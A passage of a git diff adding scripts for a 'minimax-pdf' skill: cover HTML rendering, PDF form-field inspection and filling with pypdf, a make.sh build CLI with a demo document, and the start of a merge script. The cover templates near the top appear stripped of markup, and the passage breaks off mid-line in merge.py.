' + + image_block = "" + if img_url: + image_block = f""" + """ + + meta_lines = [] + if t.get("author"): + meta_lines.append(f'
{t["author"]}
') + if t.get("subtitle"): + meta_lines.append(f'
{t["subtitle"]}
') + if t.get("date"): + meta_lines.append(f'
{t["date"]}
') + meta_block = "\n".join(meta_lines) + + return f""" + + + + + +
+ + +
+
{t['title']}
+ {subtitle_block} +
+
{meta_block}
+
+ +
+ {image_block} +
+
+
+
+
+
+
+
+
+""" + + +# ── Dispatch ─────────────────────────────────────────────────────────────────── +PATTERNS = { + "fullbleed": _pattern_fullbleed, + "split": _pattern_split, + "typographic": _pattern_typographic, + "atmospheric": _pattern_atmospheric, + "minimal": _pattern_minimal, + "stripe": _pattern_stripe, + "diagonal": _pattern_diagonal, + "frame": _pattern_frame, + "editorial": _pattern_editorial, + "magazine": _pattern_magazine, + "darkroom": _pattern_darkroom, + "terminal": _pattern_terminal, + "poster": _pattern_poster, +} + + +def render(tokens: dict) -> str: + """Dispatch to the cover pattern function and return the HTML string.""" + pattern = tokens.get("cover_pattern", "fullbleed") + fn = PATTERNS.get(pattern, _pattern_fullbleed) + return fn(tokens) + + +# ── CLI ─────────────────────────────────────────────────────────────────────── +def main(): + """CLI entry point.""" + parser = argparse.ArgumentParser(description="Render cover HTML from tokens.json") + parser.add_argument("--tokens", default="tokens.json") + parser.add_argument("--out", default="cover.html") + parser.add_argument("--subtitle", default="", help="Optional subtitle override") + args = parser.parse_args() + + try: + with open(args.tokens, encoding="utf-8") as f: + tokens = json.load(f) + except FileNotFoundError: + print(json.dumps({"status": "error", "error": f"tokens file not found: {args.tokens}"}), + file=sys.stderr) + sys.exit(1) + except json.JSONDecodeError as e: + print(json.dumps({"status": "error", "error": f"invalid JSON: {e}"}), file=sys.stderr) + sys.exit(1) + + if args.subtitle: + tokens["subtitle"] = args.subtitle + + html = render(tokens) + + try: + with open(args.out, "w", encoding="utf-8") as f: + f.write(html) + except OSError as e: + print(json.dumps({"status": "error", "error": str(e)}), file=sys.stderr) + sys.exit(3) + + print(json.dumps({ + "status": "ok", + "out": args.out, + "pattern": tokens.get("cover_pattern"), + })) + + +if __name__ == "__main__": + main() diff --git a/skills/minimax-pdf/scripts/fill_inspect.py b/skills/minimax-pdf/scripts/fill_inspect.py new file mode 100644 index 0000000..3090715 --- /dev/null +++ b/skills/minimax-pdf/scripts/fill_inspect.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python3 +""" +fill_inspect.py — Inspect form fields in an existing PDF. + +Usage: + python3 fill_inspect.py --input form.pdf + python3 fill_inspect.py --input form.pdf --out fields.json + +Outputs a JSON summary of every fillable field: name, type, current value, +allowed values (for checkboxes / dropdowns), and page number. + +Exit codes: 0 success, 1 bad args / file not found, 2 dep missing, 3 read error +""" + +import argparse +import json +import sys +import importlib.util +import os + + + + +def ensure_deps(): + if importlib.util.find_spec("pypdf") is None: + import subprocess + subprocess.check_call( + [sys.executable, "-m", "pip", "install", "--break-system-packages", "-q", "pypdf"] + ) + + +ensure_deps() +from pypdf import PdfReader +from pypdf.generic import ArrayObject, DictionaryObject, NameObject, TextStringObject + + +# ── Field type resolution ────────────────────────────────────────────────────── +def _field_type(field) -> str: + ft = field.get("/FT") + if ft is None: + return "unknown" + ft = str(ft) + if ft == "/Tx": + return "text" + if ft == "/Btn": + ff = int(field.get("/Ff", 0)) + return "radio" if ff & (1 << 15) else "checkbox" + if ft == "/Ch": + ff = int(field.get("/Ff", 0)) + return "dropdown" if ff & (1 << 17) else "listbox" + if ft == "/Sig": + return "signature" + return "unknown" + + +def _field_value(field) -> str | None: + v = field.get("/V") + return str(v) if v is not None else None + + +def _field_options(field, ftype: str) -> dict: + extra = {} + if ftype in ("checkbox",): + ap = field.get("/AP") + if ap and "/N" in ap: + states = [str(k) for k in ap["/N"]] + extra["states"] = states + checked = next((s for s in states if s != "/Off"), None) + if checked: + extra["checked_value"] = checked + if ftype in ("dropdown", "listbox"): + opt = field.get("/Opt") + if opt: + choices = [] + for item in opt: + if isinstance(item, (list, ArrayObject)) and len(item) >= 2: + choices.append({"value": str(item[0]), "label": str(item[1])}) + else: + choices.append({"value": str(item), "label": str(item)}) + extra["choices"] = choices + if ftype == "radio": + kids = field.get("/Kids") + if kids: + values = [] + for kid in kids: + ap = kid.get("/AP") + if ap and "/N" in ap: + for k in ap["/N"]: + if str(k) != "/Off": + values.append(str(k)) + extra["radio_values"] = values + return extra + + +def _walk_fields(fields, page_map: dict, parent_name: str = "") -> list: + """Recursively collect all leaf fields.""" + result = [] + for field in fields: + name = str(field.get("/T", "")) + full = f"{parent_name}.{name}" if parent_name else name + + kids = field.get("/Kids") + # Kids that have /T are sub-fields (groups), not widget annotations + if kids: + named_kids = [k for k in kids if "/T" in k] + if named_kids: + result.extend(_walk_fields(named_kids, page_map, full)) + continue + + ftype = _field_type(field) + if ftype == "unknown": + continue + + entry = { + "name": full, + "type": ftype, + "value": _field_value(field), + } + entry.update(_field_options(field, ftype)) + + # Page lookup via /P indirect reference + p_ref = field.get("/P") + if p_ref and hasattr(p_ref, "idnum"): + entry["page"] = page_map.get(p_ref.idnum, "?") + + result.append(entry) + return result + + +def inspect(pdf_path: str) -> dict: + try: + reader = PdfReader(pdf_path) + except Exception as e: + return {"status": "error", "error": str(e)} + + # Build page-number lookup: {object_id: 1-based page number} + page_map = {} + for i, page in enumerate(reader.pages): + if hasattr(page, "indirect_reference") and page.indirect_reference: + page_map[page.indirect_reference.idnum] = i + 1 + + acroform = reader.trailer.get("/Root", {}).get("/AcroForm") + if acroform is None or "/Fields" not in acroform: + return { + "status": "ok", + "has_fields": False, + "field_count": 0, + "fields": [], + "note": "This PDF has no fillable form fields.", + } + + fields = _walk_fields(list(acroform["/Fields"]), page_map) + + return { + "status": "ok", + "has_fields": bool(fields), + "field_count": len(fields), + "fields": fields, + } + + +def main(): + parser = argparse.ArgumentParser(description="Inspect PDF form fields") + parser.add_argument("--input", required=True, help="PDF file to inspect") + parser.add_argument("--out", default="", help="Write JSON to file (optional)") + args = parser.parse_args() + + if not os.path.exists(args.input): + print(json.dumps({"status": "error", "error": f"File not found: {args.input}"}), + file=sys.stderr) + sys.exit(1) + + result = inspect(args.input) + + output = json.dumps(result, indent=2, ensure_ascii=False) + + if args.out: + with open(args.out, "w") as f: + f.write(output) + + print(output) + + # Human-readable summary + if result["status"] == "ok" and result["has_fields"]: + print(f"\n── Fields in {args.input} ──────────────────────────────", + file=sys.stderr) + for f in result["fields"]: + pg = f" p.{f['page']}" if "page" in f else "" + val = f" = {f['value']}" if f.get("value") else "" + extra = "" + if "choices" in f: + extra = f" [{', '.join(c['value'] for c in f['choices'][:4])}{'…' if len(f['choices'])>4 else ''}]" + elif "states" in f: + extra = f" {f['states']}" + print(f" {f['type']:12} {f['name']}{pg}{val}{extra}", file=sys.stderr) + print("", file=sys.stderr) + + +if __name__ == "__main__": + main() diff --git a/skills/minimax-pdf/scripts/fill_write.py b/skills/minimax-pdf/scripts/fill_write.py new file mode 100644 index 0000000..3ce1523 --- /dev/null +++ b/skills/minimax-pdf/scripts/fill_write.py @@ -0,0 +1,242 @@ +#!/usr/bin/env python3 +""" +fill_write.py — Write values into PDF form fields. + +Usage: + # From a JSON data file + python3 fill_write.py --input form.pdf --data values.json --out filled.pdf + + # Inline JSON + python3 fill_write.py --input form.pdf --out filled.pdf \ + --values '{"FirstName": "Jane", "Agree": "true"}' + +values format: + { + "FieldName": "text value", # text field + "CheckBox1": "true", # checkbox (true / false) + "Dropdown1": "OptionValue", # dropdown (must match an existing choice value) + "Radio1": "/Choice2" # radio (must match a radio value) + } + +Exit codes: 0 success, 1 bad args, 2 dep missing, 3 read/write error, 4 validation error +""" + +import argparse +import json +import os +import sys +import importlib.util + + + + +def ensure_deps(): + if importlib.util.find_spec("pypdf") is None: + import subprocess + subprocess.check_call( + [sys.executable, "-m", "pip", "install", "--break-system-packages", "-q", "pypdf"] + ) + + +ensure_deps() +from pypdf import PdfReader, PdfWriter +from pypdf.generic import NameObject, TextStringObject, BooleanObject + + +# ── Field helpers ───────────────────────────────────────────────────────────── +def _field_type(field) -> str: + ft = str(field.get("/FT", "")) + if ft == "/Tx": return "text" + if ft == "/Btn": + ff = int(field.get("/Ff", 0)) + return "radio" if ff & (1 << 15) else "checkbox" + if ft == "/Ch": + ff = int(field.get("/Ff", 0)) + return "dropdown" if ff & (1 << 17) else "listbox" + return "unknown" + + +def _get_checkbox_on_value(field) -> str: + """Return the /AP /N key that means 'checked' (anything except /Off).""" + ap = field.get("/AP") + if ap and "/N" in ap: + for k in ap["/N"]: + if str(k) != "/Off": + return str(k) + return "/Yes" + + +def _get_dropdown_values(field) -> list[str]: + opt = field.get("/Opt") + if not opt: + return [] + values = [] + for item in opt: + try: + from pypdf.generic import ArrayObject + if isinstance(item, (list, ArrayObject)) and len(item) >= 1: + values.append(str(item[0])) + else: + values.append(str(item)) + except Exception: + values.append(str(item)) + return values + + +# ── Walk + fill ─────────────────────────────────────────────────────────────── +def _walk_and_fill(fields, data: dict, filled: list, errors: list, parent: str = ""): + for field in fields: + name = str(field.get("/T", "")) + full = f"{parent}.{name}" if parent else name + + # Recurse into named groups + kids = field.get("/Kids") + if kids: + named = [k for k in kids if "/T" in k] + if named: + _walk_and_fill(named, data, filled, errors, full) + continue + + if full not in data: + continue + + value = data[full] + ftype = _field_type(field) + + if ftype == "text": + field.update({ + NameObject("/V"): TextStringObject(str(value)), + NameObject("/DV"): TextStringObject(str(value)), + }) + filled.append(full) + + elif ftype == "checkbox": + truthy = str(value).lower() in ("true", "1", "yes", "on") + on_val = _get_checkbox_on_value(field) + pdf_val = on_val if truthy else "/Off" + field.update({ + NameObject("/V"): NameObject(pdf_val), + NameObject("/AS"): NameObject(pdf_val), + }) + filled.append(full) + + elif ftype in ("dropdown", "listbox"): + allowed = _get_dropdown_values(field) + if allowed and str(value) not in allowed: + errors.append({ + "field": full, + "error": f"Value '{value}' not in allowed choices: {allowed}" + }) + continue + field.update({NameObject("/V"): TextStringObject(str(value))}) + filled.append(full) + + elif ftype == "radio": + # Radio value must start with / + pdf_val = str(value) if str(value).startswith("/") else f"/{value}" + field.update({ + NameObject("/V"): NameObject(pdf_val), + NameObject("/AS"): NameObject(pdf_val), + }) + filled.append(full) + + else: + errors.append({"field": full, "error": f"Unsupported field type: {ftype}"}) + + +def fill(pdf_path: str, out_path: str, data: dict) -> dict: + try: + reader = PdfReader(pdf_path) + except Exception as e: + return {"status": "error", "error": str(e)} + + writer = PdfWriter() + writer.clone_document_from_reader(reader) + + acroform = writer._root_object.get("/AcroForm") # type: ignore[attr-defined] + if acroform is None or "/Fields" not in acroform: + return { + "status": "error", + "error": "This PDF has no fillable form fields.", + "hint": "Run fill_inspect.py first to confirm the PDF has fields.", + } + + # Enable appearance regeneration so viewers show the new values + acroform.update({NameObject("/NeedAppearances"): BooleanObject(True)}) + + filled: list[str] = [] + errors: list[dict] = [] + _walk_and_fill(list(acroform["/Fields"]), data, filled, errors) + + # Warn about requested fields that were never found + not_found = [k for k in data if k not in filled and not any(e["field"] == k for e in errors)] + + try: + os.makedirs(os.path.dirname(os.path.abspath(out_path)), exist_ok=True) + with open(out_path, "wb") as f: + writer.write(f) + except Exception as e: + return {"status": "error", "error": f"Write failed: {e}"} + + result = { + "status": "ok", + "out": out_path, + "filled_count": len(filled), + "filled_fields": filled, + "size_kb": os.path.getsize(out_path) // 1024, + } + if errors: + result["validation_errors"] = errors + if not_found: + result["not_found"] = not_found + result["hint"] = "Run fill_inspect.py to see all available field names." + return result + + +def main(): + parser = argparse.ArgumentParser(description="Fill PDF form fields") + parser.add_argument("--input", required=True, help="Input PDF with form fields") + parser.add_argument("--out", required=True, help="Output PDF path") + group = parser.add_mutually_exclusive_group(required=True) + group.add_argument("--data", help="Path to JSON file with field values") + group.add_argument("--values", help="Inline JSON string with field values") + args = parser.parse_args() + + if not os.path.exists(args.input): + print(json.dumps({"status": "error", "error": f"File not found: {args.input}"}), + file=sys.stderr) + sys.exit(1) + + # Load data + try: + if args.data: + with open(args.data) as f: + data = json.load(f) + else: + data = json.loads(args.values) + except Exception as e: + print(json.dumps({"status": "error", "error": f"JSON parse error: {e}"}), + file=sys.stderr) + sys.exit(1) + + result = fill(args.input, args.out, data) + print(json.dumps(result, indent=2, ensure_ascii=False)) + + if result["status"] == "ok": + print(f"\n── Fill complete ───────────────────────────────────────", + file=sys.stderr) + print(f" Output : {result['out']}", file=sys.stderr) + print(f" Filled : {result['filled_count']} field(s)", file=sys.stderr) + if result.get("validation_errors"): + print(f" Errors :", file=sys.stderr) + for e in result["validation_errors"]: + print(f" • {e['field']}: {e['error']}", file=sys.stderr) + if result.get("not_found"): + print(f" Not found: {result['not_found']}", file=sys.stderr) + print("", file=sys.stderr) + else: + sys.exit(3) + + +if __name__ == "__main__": + main() diff --git a/skills/minimax-pdf/scripts/make.sh b/skills/minimax-pdf/scripts/make.sh new file mode 100644 index 0000000..0b1730b --- /dev/null +++ b/skills/minimax-pdf/scripts/make.sh @@ -0,0 +1,491 @@ +#!/usr/bin/env bash +# make.sh — minimax-pdf unified CLI +# Usage: bash make.sh [options] +# +# Commands: +# check Verify all dependencies +# fix Auto-install missing dependencies +# run --title T --type TYPE Full pipeline → output.pdf +# --out FILE Output path (default: output.pdf) +# --author A --date D +# --subtitle S +# --abstract A Optional abstract text for cover +# --cover-image URL Optional cover image URL/path +# --content FILE Path to content.json (optional) +# demo Build a full-featured demo to demo.pdf +# +# Document types: +# report proposal resume portfolio academic general +# minimal stripe diagonal frame editorial +# magazine darkroom terminal poster +# +# Content block types: +# h1 h2 h3 body bullet numbered callout table +# image figure code math chart flowchart bibliography +# divider caption pagebreak spacer +# +# Exit codes: 0 success, 1 usage error, 2 dep missing, 3 runtime error + +set -euo pipefail +SCRIPTS="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PY="python3" +NODE="node" + +# ── Colour helpers ───────────────────────────────────────────────────────────── +red() { printf '\033[0;31m%s\033[0m\n' "$*"; } +green() { printf '\033[0;32m%s\033[0m\n' "$*"; } +yellow() { printf '\033[0;33m%s\033[0m\n' "$*"; } +bold() { printf '\033[1m%s\033[0m\n' "$*"; } + +# ── check ────────────────────────────────────────────────────────────────────── +cmd_check() { + local ok=true + bold "Checking dependencies..." + + # Python + if command -v python3 &>/dev/null; then + green " ✓ python3 $(python3 --version 2>&1 | awk '{print $2}')" + else + red " ✗ python3 not found" + ok=false + fi + + # reportlab + if python3 -c "import reportlab" 2>/dev/null; then + green " ✓ reportlab" + else + yellow " ⚠ reportlab not installed (run: make.sh fix)" + ok=false + fi + + # pypdf + if python3 -c "import pypdf" 2>/dev/null; then + green " ✓ pypdf" + else + yellow " ⚠ pypdf not installed (run: make.sh fix)" + ok=false + fi + + # Node.js + if command -v node &>/dev/null; then + green " ✓ node $(node --version)" + else + red " ✗ node not found — cover rendering unavailable" + ok=false + fi + + # Playwright + if node -e "require('playwright')" 2>/dev/null || \ + node -e "require(require('child_process').execSync('npm root -g').toString().trim()+'/playwright')" 2>/dev/null; then + green " ✓ playwright" + else + yellow " ⚠ playwright not found (run: make.sh fix)" + ok=false + fi + + # matplotlib (optional — required for math/chart/flowchart; degrades gracefully) + if python3 -c "import matplotlib" 2>/dev/null; then + green " ✓ matplotlib (math, chart, flowchart blocks enabled)" + else + yellow " ⚠ matplotlib not installed — math/chart/flowchart blocks degrade to text (run: make.sh fix)" + fi + + if $ok; then + green "\nAll dependencies satisfied." + exit 0 + else + yellow "\nSome dependencies missing. Run: bash make.sh fix" + exit 2 + fi +} + +# ── fix ──────────────────────────────────────────────────────────────────────── +cmd_fix() { + bold "Installing missing dependencies..." + local rc=0 + + # Python packages + if command -v python3 &>/dev/null; then + python3 -m pip install --break-system-packages -q reportlab pypdf matplotlib 2>/dev/null \ + || python3 -m pip install -q reportlab pypdf matplotlib 2>/dev/null \ + || { yellow " pip install failed — try: pip install reportlab pypdf matplotlib"; rc=3; } + green " ✓ Python packages installed (reportlab, pypdf, matplotlib)" + fi + + # Playwright + if command -v npm &>/dev/null; then + npm install -g playwright --silent 2>/dev/null && \ + npx playwright install chromium --silent 2>/dev/null && \ + green " ✓ Playwright + Chromium installed" || \ + { yellow " playwright install failed — try manually"; rc=3; } + else + yellow " npm not found — cannot install Playwright automatically" + rc=2 + fi + + if [[ $rc -eq 0 ]]; then + green "\nAll dependencies installed. Run: bash make.sh check" + fi + exit $rc +} + +# ── run ──────────────────────────────────────────────────────────────────────── +cmd_run() { + local title="Untitled Document" + local type="general" + local author="" + local date="" + local subtitle="" + local abstract="" + local cover_image="" + local accent="" + local cover_bg="" + local content_file="" + local out="output.pdf" + local workdir + workdir="$(mktemp -d)" + + # Parse options + while [[ $# -gt 0 ]]; do + case "$1" in + --title) title="$2"; shift 2 ;; + --type) type="$2"; shift 2 ;; + --author) author="$2"; shift 2 ;; + --date) date="$2"; shift 2 ;; + --subtitle) subtitle="$2"; shift 2 ;; + --abstract) abstract="$2"; shift 2 ;; + --cover-image) cover_image="$2"; shift 2 ;; + --accent) accent="$2"; shift 2 ;; + --cover-bg) cover_bg="$2"; shift 2 ;; + --content) content_file="$2"; shift 2 ;; + --out) out="$2"; shift 2 ;; + *) echo "Unknown option: $1"; exit 1 ;; + esac + done + + bold "Building: $title" + echo " Type : $type" + echo " Output : $out" + + # Step 1: tokens + echo "" + bold "Step 1/4 Generating design tokens..." + local accent_args=() + [[ -n "$accent" ]] && accent_args+=(--accent "$accent") + [[ -n "$cover_bg" ]] && accent_args+=(--cover-bg "$cover_bg") + $PY "$SCRIPTS/palette.py" \ + --title "$title" --type "$type" \ + --author "$author" --date "$date" \ + --out "$workdir/tokens.json" \ + "${accent_args[@]+"${accent_args[@]}"}" + + # Inject optional cover fields into tokens.json + if [[ -n "$abstract" || -n "$cover_image" ]]; then + PDF_ABSTRACT="$abstract" PDF_COVER_IMAGE="$cover_image" PDF_TOKENS="$workdir/tokens.json" \ + $PY - <<'PYEOF' +import json, os +with open(os.environ["PDF_TOKENS"]) as f: + t = json.load(f) +abstract = os.environ.get("PDF_ABSTRACT", "") +cover_image = os.environ.get("PDF_COVER_IMAGE", "") +if abstract: + t["abstract"] = abstract +if cover_image: + t["cover_image"] = cover_image +with open(os.environ["PDF_TOKENS"], "w") as f: + json.dump(t, f, indent=2) +PYEOF + fi + + cat "$workdir/tokens.json" | $PY -c " +import json,sys +t=json.load(sys.stdin) +print(f' Mood : {t[\"mood\"]}') +print(f' Pattern : {t[\"cover_pattern\"]}') +print(f' Fonts : {t[\"font_display\"]} / {t[\"font_body\"]}')" + + # Step 2: cover HTML + render + echo "" + bold "Step 2/4 Rendering cover..." + local subtitle_args=() + [[ -n "$subtitle" ]] && subtitle_args=(--subtitle "$subtitle") + $PY "$SCRIPTS/cover.py" \ + --tokens "$workdir/tokens.json" \ + --out "$workdir/cover.html" \ + "${subtitle_args[@]+"${subtitle_args[@]}"}" + + $NODE "$SCRIPTS/render_cover.js" \ + --input "$workdir/cover.html" \ + --out "$workdir/cover.pdf" + green " ✓ Cover rendered" + + # Step 3: body + echo "" + bold "Step 3/4 Rendering body pages..." + if [[ -z "$content_file" ]]; then + # Generate a minimal placeholder body + cat > "$workdir/content.json" <<'JSON' +[ + {"type":"h1", "text":"Document Body"}, + {"type":"body", "text":"Replace this with your content.json file using --content path/to/content.json"}, + {"type":"body", "text":"See the content.json schema in the skill README for the full list of supported block types: h1, h2, h3, body, bullet, callout, table, pagebreak, spacer."} +] +JSON + content_file="$workdir/content.json" + yellow " No content file provided — using placeholder body." + fi + + $PY "$SCRIPTS/render_body.py" \ + --tokens "$workdir/tokens.json" \ + --content "$content_file" \ + --out "$workdir/body.pdf" + green " ✓ Body rendered" + + # Step 4: merge + echo "" + bold "Step 4/4 Merging and QA..." + $PY "$SCRIPTS/merge.py" \ + --cover "$workdir/cover.pdf" \ + --body "$workdir/body.pdf" \ + --out "$out" \ + --title "$title" + + # Cleanup + rm -rf "$workdir" +} + +# ── fill ────────────────────────────────────────────────────────────────────── +cmd_fill() { + local input="" out="" values="" data_file="" inspect_only=false + + while [[ $# -gt 0 ]]; do + case "$1" in + --input) input="$2"; shift 2 ;; + --out) out="$2"; shift 2 ;; + --values) values="$2"; shift 2 ;; + --data) data_file="$2"; shift 2 ;; + --inspect) inspect_only=true; shift ;; + *) echo "Unknown option: $1"; exit 1 ;; + esac + done + + if [[ -z "$input" ]]; then + echo "Usage: make.sh fill --input form.pdf [--out filled.pdf] [--values '{...}'] [--data values.json] [--inspect]" + exit 1 + fi + + if $inspect_only || [[ -z "$out" && -z "$values" && -z "$data_file" ]]; then + bold "Inspecting form fields in: $input" + $PY "$SCRIPTS/fill_inspect.py" --input "$input" + return + fi + + bold "Filling form: $input → $out" + + local val_args="" + if [[ -n "$values" ]]; then val_args="--values $values"; fi + if [[ -n "$data_file" ]]; then val_args="--data $data_file"; fi + + $PY "$SCRIPTS/fill_write.py" --input "$input" --out "$out" $val_args +} + +# ── reformat ─────────────────────────────────────────────────────────────────── +cmd_reformat() { + local input="" title="Reformatted Document" type="general" + local author="" date="" out="output.pdf" subtitle="" + local tmpdir + tmpdir="$(mktemp -d)" + + while [[ $# -gt 0 ]]; do + case "$1" in + --input) input="$2"; shift 2 ;; + --title) title="$2"; shift 2 ;; + --type) type="$2"; shift 2 ;; + --author) author="$2"; shift 2 ;; + --date) date="$2"; shift 2 ;; + --subtitle) subtitle="$2"; shift 2 ;; + --out) out="$2"; shift 2 ;; + *) echo "Unknown option: $1"; exit 1 ;; + esac + done + + if [[ -z "$input" ]]; then + echo "Usage: make.sh reformat --input source.md --title T --type TYPE --out output.pdf" + exit 1 + fi + + bold "Parsing: $input" + $PY "$SCRIPTS/reformat_parse.py" --input "$input" --out "$tmpdir/content.json" + green " ✓ Parsed to content.json" + + bold "Applying design and building PDF..." + local sub_args=() + [[ -n "$subtitle" ]] && sub_args=(--subtitle "$subtitle") + + cmd_run \ + --title "$title" --type "$type" \ + --author "$author" --date "$date" \ + --content "$tmpdir/content.json" \ + --out "$out" \ + "${sub_args[@]+"${sub_args[@]}"}" + + rm -rf "$tmpdir" +} + +# ── demo ────────────────────────────────────────────────────────────────────── +cmd_demo() { + local tmpdir + tmpdir="$(mktemp -d)" + + cat > "$tmpdir/content.json" <<'JSON' +[ + {"type":"h1", "text":"Executive Summary"}, + {"type":"body", "text":"This document was generated by minimax-pdf — a skill for creating visually polished PDFs. Every design decision is rooted in the document type and content, not a generic template."}, + {"type":"callout", "text":"Key insight: design tokens flow from palette.py through every renderer, keeping cover and body visually consistent."}, + + {"type":"h1", "text":"How It Works"}, + {"type":"h2", "text":"The Token Pipeline"}, + {"type":"body", "text":"The palette.py script infers a color palette and typography pair from the document type. These tokens are written to tokens.json and consumed by every downstream script."}, + {"type":"numbered","text":"palette.py generates color tokens, font selection, and the cover pattern"}, + {"type":"numbered","text":"cover.py renders the cover HTML using the selected pattern"}, + {"type":"numbered","text":"render_cover.js uses Playwright to convert the HTML cover to PDF"}, + {"type":"numbered","text":"render_body.py builds inner pages from content.json using ReportLab"}, + {"type":"numbered","text":"merge.py combines cover + body and runs final QA checks"}, + + {"type":"h2", "text":"Cover Patterns"}, + {"type":"table", + "headers": ["Pattern", "Document type", "Visual character"], + "rows": [ + ["fullbleed", "report, general", "Deep background · dot-grid texture"], + ["split", "proposal", "Left dark panel · right dot-grid"], + ["typographic", "resume, academic", "Oversized display type · first-word accent"], + ["atmospheric", "portfolio", "Dark bg · radial glow · dot-grid"], + ["magazine", "magazine", "Cream bg · centered · hero image"], + ["darkroom", "darkroom", "Navy bg · centered · grayscale image"], + ["terminal", "terminal", "Near-black · grid lines · monospace"], + ["poster", "poster", "White · thick sidebar · oversized title"] + ] + }, + + {"type":"h1", "text":"Data Visualisation"}, + {"type":"h2", "text":"Performance Metrics (Chart)"}, + {"type":"body", "text":"Charts are rendered natively using matplotlib with a color palette derived from the document accent. No external chart services or image files required."}, + {"type":"chart", + "chart_type": "bar", + "title": "Quarterly Performance", + "labels": ["Q1", "Q2", "Q3", "Q4"], + "datasets": [ + {"label": "Revenue", "values": [120, 145, 132, 178]}, + {"label": "Expenses", "values": [95, 108, 99, 122]} + ], + "y_label": "USD (thousands)", + "caption": "Quarterly revenue vs. expenses" + }, + + {"type":"h2", "text":"Market Share (Pie Chart)"}, + {"type":"chart", + "chart_type": "pie", + "labels": ["Product A", "Product B", "Product C", "Other"], + "datasets": [{"values": [42, 28, 18, 12]}], + "caption": "Annual market share by product line" + }, + + {"type":"pagebreak"}, + + {"type":"h1", "text":"Mathematics"}, + {"type":"body", "text":"Display math is rendered via matplotlib mathtext — no LaTeX binary installation required. Inline references use standard [N] notation in body text."}, + {"type":"math", "text":"E = mc^2", "label":"(1)"}, + {"type":"math", "text":"\\int_0^\\infty e^{-x^2}\\,dx = \\frac{\\sqrt{\\pi}}{2}", "label":"(2)"}, + {"type":"math", "text":"\\sum_{n=1}^{\\infty} \\frac{1}{n^2} = \\frac{\\pi^2}{6}", "caption":"Basel problem (Euler, 1734)"}, + + {"type":"h1", "text":"Process Flow"}, + {"type":"body", "text":"Flowcharts are drawn directly using matplotlib patches — no Graphviz or external tools needed. Supported node shapes: rect, diamond, oval, parallelogram."}, + {"type":"flowchart", + "nodes": [ + {"id":"start", "label":"Start", "shape":"oval"}, + {"id":"input", "label":"Receive Input", "shape":"parallelogram"}, + {"id":"valid", "label":"Valid?", "shape":"diamond"}, + {"id":"proc", "label":"Process Data", "shape":"rect"}, + {"id":"err", "label":"Return Error", "shape":"rect"}, + {"id":"out", "label":"Return Result", "shape":"parallelogram"}, + {"id":"end", "label":"End", "shape":"oval"} + ], + "edges": [ + {"from":"start", "to":"input"}, + {"from":"input", "to":"valid"}, + {"from":"valid", "to":"proc", "label":"Yes"}, + {"from":"valid", "to":"err", "label":"No"}, + {"from":"proc", "to":"out"}, + {"from":"err", "to":"end"}, + {"from":"out", "to":"end"} + ], + "caption": "Data validation and processing flow" + }, + + {"type":"h1", "text":"Code Example"}, + {"type":"code", "language":"python", + "text":"# Design token pipeline\ntokens = palette.build_tokens(\n title=\"Annual Report\",\n doc_type=\"report\",\n author=\"J. Smith\",\n date=\"March 2026\",\n)\nhtml = cover.render(tokens)\npdf = render_cover(html)"}, + + {"type":"h1", "text":"Design Principles"}, + {"type":"body", "text":"The aesthetic system is documented in design/design.md. The core rule: every design decision must be rooted in the document content and purpose. A color chosen because it fits the content will always outperform a color chosen because it seems safe."}, + {"type":"h2", "text":"Restraint over decoration"}, + {"type":"body", "text":"The page is done when there is nothing left to remove. Accent color appears on section rules only — not on headings, not on bullets. No card components, no drop shadows."}, + {"type":"callout", "text":"A PDF passes the quality bar when a designer would not be embarrassed to hand it to a client."}, + + {"type":"pagebreak"}, + {"type":"bibliography", + "title": "References", + "items": [ + {"id":"1","text":"Bringhurst, R. (2004). The Elements of Typographic Style (3rd ed.). Hartley & Marks."}, + {"id":"2","text":"Cairo, A. (2016). The Truthful Art: Data, Charts, and Maps for Communication. New Riders."}, + {"id":"3","text":"Hochuli, J. & Kinross, R. (1996). Designing Books: Practice and Theory. Hyphen Press."} + ] + } +] +JSON + + cmd_run \ + --title "minimax-pdf demo" \ + --type "report" \ + --author "minimax-pdf skill" \ + --date "$(date '+%B %Y')" \ + --subtitle "A demonstration of the token-based design pipeline" \ + --content "$tmpdir/content.json" \ + --out "demo.pdf" + + rm -rf "$tmpdir" +} + +# ── dispatch ─────────────────────────────────────────────────────────────────── +main() { + if [[ $# -lt 1 ]]; then + bold "minimax-pdf — make.sh" + echo "" + echo "Usage: bash make.sh [options]" + echo "" + echo "Commands:" + echo " check Verify all dependencies" + echo " fix Auto-install missing deps" + echo " run --title T --type TYPE CREATE: full pipeline → PDF" + echo " [--author A] [--date D] [--subtitle S]" + echo " [--abstract A] [--cover-image URL]" + echo " [--accent #HEX] [--cover-bg #HEX]" + echo " [--content content.json] [--out output.pdf]" + echo " fill --input f.pdf FILL: inspect or fill form fields" + echo " reformat --input doc.md REFORMAT: parse doc → apply design → PDF" + echo " demo Build a full-featured demo PDF" + exit 0 + fi + + case "$1" in + check) cmd_check ;; + fix) cmd_fix ;; + run) shift; cmd_run "$@" ;; + fill) shift; cmd_fill "$@" ;; + reformat) shift; cmd_reformat "$@" ;; + demo) cmd_demo ;; + *) echo "Unknown command: $1"; exit 1 ;; + esac +} + +main "$@" diff --git a/skills/minimax-pdf/scripts/merge.py b/skills/minimax-pdf/scripts/merge.py new file mode 100644 index 0000000..7bf68ee --- /dev/null +++ b/skills/minimax-pdf/scripts/merge.py @@ -0,0 +1,112 @@ +#!/usr/bin/env python3 +""" +merge.py — Merge cover.pdf + body.pdf → final.pdf and print a QA report. + +Usage: + python3 merge.py --cover cover.pdf --body body.pdf --out final.pdf + python3 merge.py --cover cover.pdf --body body.pdf --out final.pdf --title "My Report" + +Exit codes: 0 success, 1 bad args/missing file, 2 missing dep, 3 merge error +""" + +import argparse +import importlib.util +import json +import os +import sys + +def ensure_deps(): + if importlib.util.find_spec("pypdf") is None: + import subprocess + subprocess.check_call( + [sys.executable, "-m", "pip", "install", "--break-system-packages", "-q", "pypdf"] + ) + + +ensure_deps() + +from pypdf import PdfWriter, PdfReader + + +def merge(cover_path: str, body_path: str, out_path: str, title: str = "") -> dict: + writer = PdfWriter() + + for fpath, label in [(cover_path, "cover"), (body_path, "body")]: + if not os.path.exists(fpath): + return {"status": "error", "error": f"{label} file not found: {fpath}"} + reader = PdfReader(fpath) + for page in reader.pages: + writer.add_page(page) + + # Set PDF metadata + if title: + writer.add_metadata({"/Title": title}) + + os.makedirs(os.path.dirname(os.path.abspath(out_path)), exist_ok=True) + with open(out_path, "wb") 